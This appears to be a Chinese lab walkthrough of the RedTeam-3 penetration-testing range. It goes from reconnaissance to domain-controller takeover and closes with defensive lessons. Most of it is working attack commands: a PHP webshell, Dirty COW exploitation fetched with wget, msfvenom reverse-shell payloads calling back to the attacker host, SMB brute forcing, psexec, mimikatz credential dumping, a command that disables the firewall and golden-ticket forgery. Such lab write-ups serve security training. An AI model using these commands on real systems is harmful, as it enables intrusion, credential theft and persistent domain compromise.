1. 靶场环境搭建与配置
红日靶场3(RedTeam-3)是一个模拟企业内网环境的渗透测试实战平台,包含5台虚拟机组成的网络拓扑。这个靶场特别适合练习从外网渗透到内网横向移动的全流程技术。
1.1 靶机下载与初始配置
靶机下载地址为官方提供的漏洞信息页面(链接已隐去)。下载后你会得到以下虚拟机文件:
- web-centos(CentOS系统,外网Web服务器)
- web-ubantu(Ubuntu系统,内网Web服务器)
- win7(Windows 7客户端)
- win2008(Windows Server 2008)
- win2012(Windows Server 2012域控制器)
重要提示:启动靶机后不要关机,因为这是黑盒测试环境,不会提供任何默认账号密码。建议在VMware中为每台机器创建快照,这是最保险的操作方式。
1.2 网络适配器配置
所有靶机默认使用VMnet2网卡。根据你的测试环境,有两种配置方案:
1.2.1 方案一:桥接模式(推荐新手使用)
- 将Kali攻击机设置为桥接模式
- 靶机保持默认VMnet2配置不变
- 优点:配置简单,无需修改靶机网络
1.2.2 方案二:NAT模式(更接近真实环境)
- 修改web-centos主机的网卡配置:
bash复制# 开机后执行以下命令重新获取IP sudo ifdown eth0 && sudo ifup eth0 ifconfig | less # 确认IP获取情况 - 将web-centos的网卡1改为NAT模式(与Kali同一网段)
- 其余四台靶机保持VMnet2不变
1.3 IP地址规划
配置完成后网络拓扑如下:
| 主机 | 外网IP | 内网IP | 角色 |
|---|---|---|---|
| Kali | 192.168.200.128 | - | 攻击机 |
| web-centos | 192.168.200.129 | 192.168.93.100 | 外网Web服务器 |
| web-ubantu | - | 192.168.93.120 | 内网Web服务器 |
| win7 | - | 192.168.93.30 | 内网客户端 |
| win2008 | - | 192.168.93.20 | 成员服务器 |
| win2012 | - | 192.168.93.10 | 域控制器(DC) |
验证配置是否成功:启动web-centos和web-ubantu后,访问web-centos的80端口应能看到Joomla CMS的默认页面。
2. 外网渗透与初始访问
2.1 信息收集阶段
2.1.1 主机发现
使用arp-scan快速扫描同网段存活主机:
bash复制arp-scan -l
# 或使用nmap
nmap -sn 192.168.200.0/24
2.1.2 端口扫描与服务识别
对web-centos进行全端口扫描:
bash复制nmap -sV -Pn -p- -A 192.168.200.129
参数说明:
-sV:服务版本探测-Pn:跳过主机存活检测-p-:扫描所有65535个端口-A:启用高级检测模式
扫描结果显示开放了22(SSH)、80(HTTP)、3306(MySQL)三个端口。
2.1.3 目录爆破
使用dirsearch扫描Web目录:
bash复制dirsearch -u http://192.168.200.129
发现两个关键文件:
/configuration.php~:泄露了网站绝对路径和数据库凭据/robots.txt:暴露了管理员后台路径/administrator/
2.2 Web应用渗透
2.2.1 Joomla CMS识别
访问80端口确认是Joomla 3.9.12系统。使用Metasploit模块确认版本:
bash复制msfconsole
use auxiliary/scanner/http/joomla_version
set rhosts 192.168.200.129
run
2.2.2 数据库渗透
发现MySQL存在弱口令root:123:
bash复制hydra -C /usr/share/wordlists/legion/mysql-betterdefaultpasslist.txt mysql://192.168.200.129
mysql -u root -h 192.168.200.129 -p123 --skip-ssl
关键发现:
secure_file_priv为空,理论上可以任意文件读写- 尝试写Webshell失败(权限不足):
sql复制SELECT "<?php system($_GET['cmd']);?>" INTO OUTFILE "/var/www/html/shell.php"
2.2.3 Joomla后台突破
在joomla数据库中找到管理员哈希:
sql复制USE joomla;
SELECT id,name,username,password FROM am2zu_users;
得到administrator的bcrypt哈希。通过Joomla密码重置机制修改密码:
sql复制UPDATE am2zu_users SET password = "d2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199"
WHERE username="administrator";
新密码设置为secret,成功登录后台。
2.3 获取初始Shell
2.3.1 通过模板文件上传Webshell
- 在后台找到
/templates/beez3/index.php - 在
defined('_JEXEC')前插入PHP代码:php复制system($_GET['cmd']); - 使用蚁剑连接
http://192.168.200.129/templates/beez3/index.php
2.3.2 绕过disable_functions
发现命令执行受限,使用蚁剑插件绕过:
- 选择"绕过disable_functions"
- 使用PHP7_UserFilter方法
- 成功获得完整命令执行能力
2.3.3 SSH访问
在/tmp/mysql/test.txt中发现SSH凭据:
code复制wwwuser:wwwuser888
连接SSH:
bash复制ssh wwwuser@192.168.200.129 -o HostKeyAlgorithms=+ssh-rsa
3. 权限提升与内网渗透
3.1 本地提权
3.1.1 内核漏洞利用
查看系统信息:
bash复制uname -a
# Linux web-centos 2.6.32-431.el6.x86_64
发现存在脏牛(Dirty Cow)漏洞(CVE-2016-5195)。利用步骤:
- 下载exp到Kali:
bash复制locate 40839.c cp /usr/share/exploitdb/exploits/linux/local/40839.c . - 在Kali开启HTTP服务:
bash复制
python -m http.server 80 - 靶机下载并编译:
bash复制wget http://192.168.200.128/40839.c gcc -pthread 40839.c -o shell -lcrypt chmod +x shell ./shell - 设置密码后使用firefart用户提权:
bash复制
su firefart
3.2 内网信息收集
3.2.1 MSF会话建立
生成Linux反弹shell:
bash复制msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.200.128 LPORT=4444 -f elf > shell.elf
设置监听:
bash复制use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 192.168.200.128
set LPORT 4444
run
3.2.2 内网路由配置
bash复制background
use post/multi/manage/autoroute
set subnet 192.168.93.0
set session 1
run
3.2.3 内网主机发现
使用UDP探测:
bash复制use auxiliary/scanner/discovery/udp_probe
set rhosts 192.168.93.2-254
run
发现三台主机:192.168.93.10(DC)、192.168.93.20(2008)、192.168.93.30(Win7)。
3.3 横向移动
3.3.1 SMB服务爆破
使用proxychains配置代理后爆破:
bash复制proxychains hydra -l administrator -P /usr/share/seclists/Passwords/500-worst-passwords.txt smb://192.168.93.30
得到凭据:administrator:123qwe!ASD
3.3.2 Psexec横向移动
利用SMB登录Win7:
bash复制use exploit/windows/smb/psexec
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.93.30
set smbuser administrator
set smbpass 123qwe!ASD
run
3.3.3 域控攻陷
从Win2008获取域管凭据:
bash复制load kiwi
creds_all
得到域管密码:zxcASDqw123!!
关闭域控防火墙:
cmd复制sc \\192.168.93.10 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\192.168.93.10 start unablefirewall
使用psexec登录域控:
bash复制set rhosts 192.168.93.10
set smbpass zxcASDqw123!!
set smbdomain TEST
set smbuser administrator
run
4. 权限维持与后渗透
4.1 黄金票据制作
4.1.1 获取必要信息
获取域SID:
bash复制whoami /all
# S-1-5-21-1528753600-3951244198-520479113
获取krbtgt哈希:
bash复制load kiwi
kiwi_cmd "lsadump::dcsync /domain:test.org /user:krbtgt"
# Hash NTLM: 571bcade06358cf8ea77e8418e857355
4.1.2 生成黄金票据
bash复制golden_ticket_create -d test.org -k 571bcade06358cf8ea77e8418e857355 -u shell -s S-1-5-21-1528753600-3951244198-520479113 -t /home/kali/shell
4.1.3 票据注入与验证
bash复制kerberos_ticket_use /home/kali/shell
shell
dir \\WIN-8GA56TNV3MV\c$
5. 渗透测试经验总结
在实际企业内网渗透中,有几个关键点需要特别注意:
-
密码策略审计:
- 本靶场中多个系统存在弱口令问题(MySQL的root:123、Windows的administrator:123qwe!ASD)
- 建议企业实施强密码策略并定期更换
-
敏感文件防护:
- Joomla的configuration.php~备份文件泄露导致数据库凭据暴露
- 应禁用服务器上的备份文件自动生成功能
-
权限最小化原则:
- MySQL的secure_file_priv配置不当
- Web用户wwwuser不应具有SSH登录权限
-
内网隔离不足:
- 外网Web服务器可直接访问内网
- 应部署防火墙策略限制横向通信
-
漏洞修复滞后:
- CentOS 6.5系统未修复脏牛漏洞
- Windows系统未安装最新安全补丁
这个靶场完整模拟了从外网渗透到域控拿下的全流程,涉及的技术点包括:
- Web应用漏洞利用
- 服务弱口令爆破
- 权限提升技巧
- 内网横向移动
- 域渗透技术
- 权限维持方法
建议在真实环境中进行渗透测试时,一定要获得书面授权,并严格遵守法律法规。每个攻击步骤都应该有详细的记录,最终形成完整的渗透测试报告,帮助企业改进安全防护措施。